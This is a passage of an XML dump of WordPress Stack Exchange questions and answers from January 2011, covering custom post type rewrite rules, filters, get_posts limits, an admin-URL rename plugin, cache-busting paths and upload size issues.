'add_rewrite_rules')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Trying to pass query variables in the rewrite&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Trying to add the post types (portfolio &amp;amp; clients) as well as the practice-areas taxonomy term to the query at rewrite.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_rewrite_rules($aRules) {&#xA;    $aNewRules = array('portfolio/practice-areas/([^/]+)/?$' =&amp;gt; 'index.php?post_type=portfolio&amp;amp;practice-areas=$matches[1]');&#xA;    $aNewRules = array('clients/practice-areas/([^/]+)/?$' =&amp;gt; 'index.php?post_type=clients&amp;amp;practice-areas=$matches[1]');&#xA;    $aRules = $aNewRules + $aRules;&#xA;    return $aRules;&#xA;}&#xA;&#xA;// hook add_rewrite_rules function into rewrite_rules_array&#xA;add_filter('rewrite_rules_array', 'add_rewrite_rules')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2743" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T14:13:22.383" LastActivityDate="2011-02-26T03:38:15.090" Title="How can I rewrite URLs to pass taxonomy and post type values to the query?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="7828" PostTypeId="2" ParentId="7437" CreationDate="2011-01-26T13:55:18.767" Score="0" ViewCount="" Body="&lt;p&gt;Haven't tried this, but if you look at the code, there's a query where the posts are retrieved from the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT * FROM $wpdb-&amp;gt;posts $join WHERE (post_type = 'post' AND post_status = 'publish') $where &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's looking for &lt;code&gt;post_type = 'post'&lt;/code&gt;. So this will only get the default 'post' type posts. You can modify it yourself to put 'track' or 'mixtape' there, but I would also recommend contacting the original developer and ask him/her to make the post_type a parameter in the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-26T13:55:18.767" />
  <row Id="7829" PostTypeId="1" AcceptedAnswerId="7839" CreationDate="2011-01-26T14:02:14.007" Score="1" ViewCount="160" Body="&lt;p&gt;I have two custom post type. Then I need to use &lt;strong&gt;title_save_pre&lt;/strong&gt; to post title prior to saving it in the database. I need to use this filter just for one custom post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my function:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function muda_titulo() {&#xA;global $post;&#xA;$type = get_post_type($post-&amp;gt;ID);&#xA;if ($type== 'event') {&#xA;$title = $post-&amp;gt;post_excerpt;&#xA;$day= get_the_time('l, d F, Y');&#xA;return $title.' - '.$day;&#xA;&#xA;} else if ($type == 'post') {&#xA;// do nothing &#xA;}&#xA;}&#xA;add_filter ('title_save_pre','muda_titulo');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On custom post type 'event' it works fine, but on custom post type 'post' the title changed to a white space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank u&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2011-08-09T20:16:33.047" Title="Title_save_pre - Simple problem that u know for sure" Tags="&lt;custom-post-types&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="7830" PostTypeId="1" AcceptedAnswerId="7838" CreationDate="2011-01-26T14:16:45.797" Score="0" ViewCount="243" Body="&lt;p&gt;Here is the link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.brianfunshine.com/voice-work/voice-page/&quot; rel=&quot;nofollow&quot;&gt;http://www.brianfunshine.com/voice-work/voice-page/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Voice Page (Two Columns)&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;&#xA;get_header(); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php breadcrumb(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php // this is the main loop ?&amp;gt;&#xA;&amp;lt;?php if(have_posts()) : while(have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;top-column&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&#xA;        &amp;lt;h2 class=&quot;post-title&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;post-meta-data&quot;&amp;gt;&#xA;            &amp;lt;?php wp_link_pages('before=&amp;lt;p&amp;gt;'.__('Pages:','options').'&amp;amp;after=&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.','options'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .top-column --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;left-column&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php // retrieve a list of posts with category Voice Audio Demos&#xA;$args = array('category_name' =&amp;gt; 'Voice Page (Left Column)', 'order' =&amp;gt; 'DESC', 'posts_per_page'=&amp;gt;-1);&#xA;$customposts = get_posts($args);&#xA;foreach($customposts as $post) : setup_postdata($post); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&#xA;        &amp;lt;h2 class=&quot;post-title&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .left-column --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;right-column&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php // retrieve a list of posts with category Voice Audio Demos&#xA;$args = array('category_name' =&amp;gt; 'Voice Page (Right Column)', 'orderby' =&amp;gt; 'DESC', 'posts_per_page'=&amp;gt;-1);&#xA;$customposts = get_posts($args);&#xA;foreach($customposts as $post) : setup_postdata($post); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&#xA;        &amp;lt;h2 class=&quot;post-title&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .left-column --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just retrieves posts with category Voice Page (Left Column) and Voice Page (Right Column). I ahve more than 5 posts in that category bu the page is only showing 5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XKq9d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-26T14:26:29.033" Title="Why get_posts are only showing five posts (retrieved by assigning a category to them?" Tags="&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="7831" PostTypeId="2" ParentId="7691" CreationDate="2011-01-26T14:16:48.837" Score="2" ViewCount="" Body="&lt;p&gt;I'd personally get into a habit of calling &lt;code&gt;get_term&lt;/code&gt; or &lt;code&gt;get_terms&lt;/code&gt;, as the category functions are only wrapper functions that in turn call &lt;code&gt;get_term(s)&lt;/code&gt; anyway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$queried_category = get_term( get_query_var('cat'), 'category' ); &#xA;&#xA;// echo $queried_category-&amp;gt;term_id; // The category ID&#xA;// echo $queried_category-&amp;gt;slug; // The category slug&#xA;// echo $queried_category-&amp;gt;name; // The category name &#xA;// echo $queried_category-&amp;gt;description; // The category description &#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Familiaring yourself with the term functions will make dealing with custom taxonomies a little easier, because you'll be calling on these functions in such cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_term&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a function that i don't see used a great deal, but can be really handy.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_by&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_term_by&lt;/a&gt;&lt;br&gt;&#xA;Which provides a means of fetching a term object based on name, slug or ID.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-26T14:16:48.837" />
  <row Id="7832" PostTypeId="2" ParentId="4037" CreationDate="2011-01-26T14:18:03.887" Score="2" ViewCount="" Body="&lt;p&gt;hakre.... Great answer... now with the latest version of wordpress having a separate network admin I used your solution and added in the part to properly rewrite the &quot;Network Admin&quot; links in the same way...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * Change Admin URL&#xA;     * &#xA;     * Copyright (C) 2010  hakre &amp;lt;http://hakre.wordpress.com/&amp;gt;&#xA;     * &#xA;     * This program is free software: you can redistribute it and/or modify&#xA;     * it under the terms of the GNU Affero General Public License as&#xA;     * published by the Free Software Foundation, either version 3 of the&#xA;     * License, or (at your option) any later version.&#xA;     * &#xA;     * This program is distributed in the hope that it will be useful,&#xA;     * but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;     * GNU Affero General Public License for more details.&#xA;     * &#xA;     * You should have received a copy of the GNU Affero General Public License&#xA;     * along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.&#xA;     * &#xA;     * USAGE: &#xA;     * &#xA;     * Copy the file into  wp-content/mu-plugins  directory and add the &#xA;     * following RewriteRule to your apache configuration or .htaccess:&#xA;     * &#xA;     *  RewriteRule ^admin/(.*)$ wp-admin/$1 [QSA,L]&#xA;     * &#xA;     * It will rewrite the wordpress admin-URL &#xA;     *  &#xA;     *   from: http://example.com/wp-admin/ ...&#xA;     *   to  : http://example.com/admin/ ...&#xA;     * &#xA;     * @author hakre &amp;lt;http://hakre.wordpress.com&amp;gt;&#xA;     * @see http://wordpress.stackexchange.com/questions/4037/how-to-redirect-rewrite-all-wp-login-requests/4063&#xA;     * @todo mod_rewrite_rules - filter to insert into .htacces on plugin activation&#xA;     * &#xA;     */&#xA;    /** Updated version my Mark Figueredo, &amp;lt;http://gruvii.com/&amp;gt; **/&#xA;    return ChangeAdminUrlPlugin::bootstrap();&#xA;&#xA;    class ChangeAdminUrlPlugin {&#xA;     private $renameFrom = 'wp-admin';&#xA;     private $renameTo = 'admin';&#xA;     static $instance;&#xA;     static public function bootstrap() {&#xA;      null === self::$instance&#xA;       &amp;amp;&amp;amp; self::$instance = new self()&#xA;       ;&#xA;      return self::$instance;&#xA;     }&#xA;     private function setCookiePath() {&#xA;      defined('SITECOOKIEPATH') || define('SITECOOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('siteurl') . '/' ) );&#xA;      defined('ADMIN_COOKIE_PATH') || define('ADMIN_COOKIE_PATH', SITECOOKIEPATH . $this-&amp;gt;renameTo);&#xA;     }&#xA;     public function __construct() {&#xA;      $this-&amp;gt;setCookiePath();&#xA;      add_action('init', array($this, 'init')) ;&#xA;     }&#xA;     public function init() {&#xA;      add_filter('admin_url', array($this, 'admin_url'), 10, 3);&#xA;      add_filter('network_admin_url', array($this, 'network_admin_url'), 10, 3);//Added by Mark Figueredo, &amp;lt;http://gruvii.com/&amp;gt;&#xA;     }&#xA;     public function admin_url($url, $path, $blog_id) {&#xA;      $renameFrom = $this-&amp;gt;renameFrom;&#xA;      $renameTo = $this-&amp;gt;renameTo;&#xA;      $scheme = 'admin';&#xA;      $find = get_site_url($blog_id, $renameFrom.'/', $scheme);&#xA;      $replace = get_site_url($blog_id, $renameTo.'/', $scheme);&#xA;      (0 === strpos($url, $find))&#xA;       &amp;amp;&amp;amp; $url = $replace.substr($url, strlen($find))&#xA;       ;&#xA;      return $url;&#xA;     }&#xA;// Added by Mark Figueredo, &amp;lt;http://gruvii.com/&amp;gt; &#xA;     public function network_admin_url($url, $path) {&#xA;      $renameFrom = $this-&amp;gt;renameFrom;&#xA;      $renameTo = $this-&amp;gt;renameTo;&#xA;      $scheme = 'admin';&#xA;      $find = network_site_url($renameFrom.'/', $scheme);&#xA;      $replace = network_site_url($renameTo.'/', $scheme);&#xA;      (0 === strpos($url, $find))&#xA;       &amp;amp;&amp;amp; $url = $replace.substr($url, strlen($find))&#xA;       ;&#xA;      return $url;&#xA;     }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2506" LastActivityDate="2011-01-26T14:18:03.887" CommentCount="6" />
  <row Id="7833" PostTypeId="1" CreationDate="2011-01-26T14:19:21.130" Score="0" ViewCount="458" Body="&lt;p&gt;I have a strange upload problem similar to: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7111/wordpress-upload-http-error&quot;&gt;wordpress upload http error?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an 8MB upload limit and no control of the php.ini.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client can upload small media files (images and PDFs) successfully in Wordpress, but can't upload files larger than about 1MB.  She has tried both the flash and browser upload methods, resulting in an IO error with the flash method and a 'Connect to the Server was reset while the page was loading' error with the browser method.  She has tried on various browsers on two different computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from a different location I can upload exactly the same larger files, using the same Wordpress Login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a simple php upload script (on the same site, but outside of WP) and she can successfully upload the larger files which fail in WP using that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can make a workaround where she uploads them using my form but it's not ideal as she's already finding wordpress quite complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this could be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lucy&lt;/p&gt;&#xA;" OwnerUserId="1786" LastActivityDate="2011-05-28T01:54:28.123" Title="Upload media file problem" Tags="&lt;wp-admin&gt;&lt;uploads&gt;&lt;media&gt;" AnswerCount="1" />
  <row Id="7834" PostTypeId="2" ParentId="1567" CreationDate="2011-01-26T14:19:21.470" Score="9" ViewCount="" Body="&lt;h2&gt;Include custom post types in &quot;Right Now&quot; admin dashboard&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This will include your custom post types and the post counts for each type in the &quot;Right Now&quot; dashboard widget.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ADD CUSTOM POST TYPES TO THE 'RIGHT NOW' DASHBOARD WIDGET&#xA;function wph_right_now_content_table_end() {&#xA; $args = array(&#xA;  'public' =&amp;gt; true ,&#xA;  '_builtin' =&amp;gt; false&#xA; );&#xA; $output = 'object';&#xA; $operator = 'and';&#xA;&#xA; $post_types = get_post_types( $args , $output , $operator );&#xA; foreach( $post_types as $post_type ) {&#xA;  $num_posts = wp_count_posts( $post_type-&amp;gt;name );&#xA;  $num = number_format_i18n( $num_posts-&amp;gt;publish );&#xA;  $text = _n( $post_type-&amp;gt;labels-&amp;gt;singular_name, $post_type-&amp;gt;labels-&amp;gt;name , intval( $num_posts-&amp;gt;publish ) );&#xA;  if ( current_user_can( 'edit_posts' ) ) {&#xA;   $num = &quot;&amp;lt;a href='edit.php?post_type=$post_type-&amp;gt;name'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;   $text = &quot;&amp;lt;a href='edit.php?post_type=$post_type-&amp;gt;name'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;  }&#xA;  echo '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first b b-' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;  echo '&amp;lt;td class=&quot;t ' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA; }&#xA; $taxonomies = get_taxonomies( $args , $output , $operator ); &#xA; foreach( $taxonomies as $taxonomy ) {&#xA;  $num_terms  = wp_count_terms( $taxonomy-&amp;gt;name );&#xA;  $num = number_format_i18n( $num_terms );&#xA;  $text = _n( $taxonomy-&amp;gt;labels-&amp;gt;singular_name, $taxonomy-&amp;gt;labels-&amp;gt;name , intval( $num_terms ));&#xA;  if ( current_user_can( 'manage_categories' ) ) {&#xA;   $num = &quot;&amp;lt;a href='edit-tags.php?taxonomy=$taxonomy-&amp;gt;name'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;   $text = &quot;&amp;lt;a href='edit-tags.php?taxonomy=$taxonomy-&amp;gt;name'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;  }&#xA;  echo '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first b b-' . $taxonomy-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;  echo '&amp;lt;td class=&quot;t ' . $taxonomy-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA; }&#xA;}&#xA;add_action( 'right_now_content_table_end' , 'wph_right_now_content_table_end' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-01-26T14:19:21.470" CommunityOwnedDate="2011-01-26T14:19:21.470" />
  <row Id="7835" PostTypeId="2" ParentId="7111" CreationDate="2011-01-26T14:21:27.027" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried uploading from a different computer or internet connection?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a similar problem but have found that I can upload from one location when my client is unable to upload exactly the same file from a different location. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7833/upload-media-file-problem&quot;&gt;Upload media file problem&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1786" LastActivityDate="2011-01-26T14:21:27.027" />
  <row Id="7836" PostTypeId="2" ParentId="7442" CreationDate="2011-01-26T14:22:32.843" Score="1" ViewCount="" Body="&lt;p&gt;You should look for a theme on the &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;WordPress themes directory&lt;/a&gt; and see if there's one that fits your needs. They're all free and the &lt;a href=&quot;http://wordpress.org/extend/themes/tag-filter/&quot; rel=&quot;nofollow&quot;&gt;tag filter&lt;/a&gt; let's you search for themes with a certain functionality, including customizable menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think some of the requirements are pretty subjective, so you could consider hiring a WordPress theme developer. Other than that, just browse the free themes catalogs see if you can find a good one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're asking for theme suggestions, I personally don't know what the requirement would be for it to be tutorial oriented, but you'll have to get this functionality via plugins.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-26T14:22:32.843" />
  <row Id="7837" PostTypeId="2" ParentId="5116" CreationDate="2011-01-26T14:24:07.150" Score="0" ViewCount="" Body="&lt;p&gt;I wrote my own little function as a plugin for jobs like this. It take two paramters, the path that will need to be appended and a date format. Here is a sample usage...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo cache_busting_path('/css/reset.css', 'Y-m-d_g:i:s'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would result in &lt;a href=&quot;http://pewsocialtrends.org/wp-content/themes/pew-socialtrends/css/reset.css?2010-11-11_6:47:45&quot; rel=&quot;nofollow&quot;&gt;http://pewsocialtrends.org/wp-content/themes/pew-socialtrends/css/reset.css?2010-11-11_6:47:45&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;/*&#xA;        Plugin Name: Cache Busting Path&#xA;        Description: Function that returns a path with a cache-busting query string based on the last time the file was updated.&#xA;        Version: 1.0&#xA;        Author: Russell Heimlich&#xA;        Author URI: http://www.russellheimlich.com/blog/&#xA;        License: GPL2&#xA;    */&#xA;&#xA;        function cache_busting_path($path, $time_format = 'U') {&#xA;            if( $path[0] != '/' ) { //Checks for the first character in $path is a slash and adds it if it isn't. &#xA;                $path = '/' . $path;&#xA;            }&#xA;            return get_bloginfo('template_url') . $path . '?' . date($time_format, filemtime( get_theme_root() . '/' . get_template() . $path ) );&#xA;        }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2744" LastActivityDate="2011-01-26T14:24:07.150" />
  <row Id="7838" PostTypeId="2" ParentId="7830" CreationDate="2011-01-26T14:26:29.033" Score="3" ViewCount="" Body="&lt;p&gt;If you look at the &lt;code&gt;get_posts&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;documentation on Codex&lt;/a&gt;, you can see there's a parameter for number of posts you want to display:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$numberposts&#xA;      (integer) (optional) Number of posts to return. Set to 0 to use the&#xA;  max number of posts per page. Set to&#xA;  -1 to remove the limit.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Default: 5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's why it's displaying just 5 posts. You need to add the parameter to your args array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('category_name' =&amp;gt; 'Voice Page (Right Column)', 'orderby' =&amp;gt; 'DESC', 'posts_per_page'=&amp;gt;-1, 'numberposts'=&amp;gt;-1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-26T14:26:29.033" />
  <row Id="7839" PostTypeId="2" ParentId="7829" CreationDate="2011-01-26T14:30:30.967" Score="2" ViewCount="" Body="&lt;p&gt;Try the code below. Filter's take a value and returns it afterwards.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;    function muda_titulo($title) {&#xA;    global $post;&#xA;    $type = get_post_type($post-&amp;gt;ID);&#xA;    if ($type== 'event') {&#xA;    $title = $post-&amp;gt;post_excerpt;&#xA;    $day= get_the_time('l, d F, Y');&#xA;    return $title.' - '.$day;&#xA;&#xA;    } else if ($type == 'post') {&#xA;       return $title;&#xA;    }&#xA;    }&#xA;    add_filter ('title_save_pre','muda_titulo');&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-26T14:30:30.967" CommentCount="2" />
  <row Id="7840" PostTypeId="1" AcceptedAnswerId="7843" CreationDate="2011-01-26T14:39:20.443" Score="0" ViewCount="79" Body="&lt;p&gt;How come pending comments are appearing in our admin dashboard? We haven't enabled comments in any way and aren't really interested in that feature. How did someone manage to &quot;add&quot; a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of them do appear to be genuine mentions of our blog post in Twitter, while others are rubbish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen if we approved them?&lt;/p&gt;&#xA;" OwnerUserId="875" LastActivityDate="2011-01-26T15:17:50.800" Title="How come pending comments are appearing in admin?" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="7841" PostTypeId="2" ParentId="7833" CreationDate="2011-01-26T14:50:27.500" Score="2" ViewCount="" Body="&lt;p&gt;I'd suggest asking your client what value is shown when adding media, as shown here in the screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/UEKRA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value shown is &lt;code&gt;1mb&lt;/code&gt; then i can tell you the function responsible is the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_max_upload_size() {&#xA;    $u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) );&#xA;    $p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) );&#xA;    $bytes = apply_filters( 'upload_size_limit', min($u_bytes, $p_bytes), $u_bytes, $p_bytes );&#xA;    return $bytes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Found in &lt;code&gt;wp-admin/includes/template.php&lt;/code&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/template.php#L2712&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/template.php#L2712&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the above function, the value is first determined by the server ini configuration and secondly by any filters hooked onto &lt;code&gt;upload_size_limit&lt;/code&gt;. If the server configuration is not matching what you see displayed, then my guess would be a plugin/theme adding a filter onto &lt;code&gt;upload_size_limit&lt;/code&gt; which is imposing a different file size limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional&lt;/strong&gt;&lt;br&gt;&#xA;Some support topics that mention a similar problem.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/upload-limit-problems-on-local-site&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/upload-limit-problems-on-local-site&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/multiple-domain-mod-limits-file-uploads-to-1mb&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/multiple-domain-mod-limits-file-uploads-to-1mb&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/max-upload-size-problem-yes-again&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/max-upload-size-problem-yes-again&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-26T18:42:22.950" LastActivityDate="2011-01-26T18:42:22.950" CommentCount="6" />
  <row Id="7842" PostTypeId="2" ParentId="7691" CreationDate="2011-01-26T14:54:10.290" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$wp_query-&amp;gt;get_queried_object()&lt;/code&gt; is a very versatile function. It will return the current category, tag, custom taxonomy term, author, page or post, depending on the page/archive you are viewing. Especially handy if you want to &lt;a href=&quot;http://yoast.com/get-queried-object/&quot; rel=&quot;nofollow&quot;&gt;simplify your archive headings&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-26T14:54:10.290" />
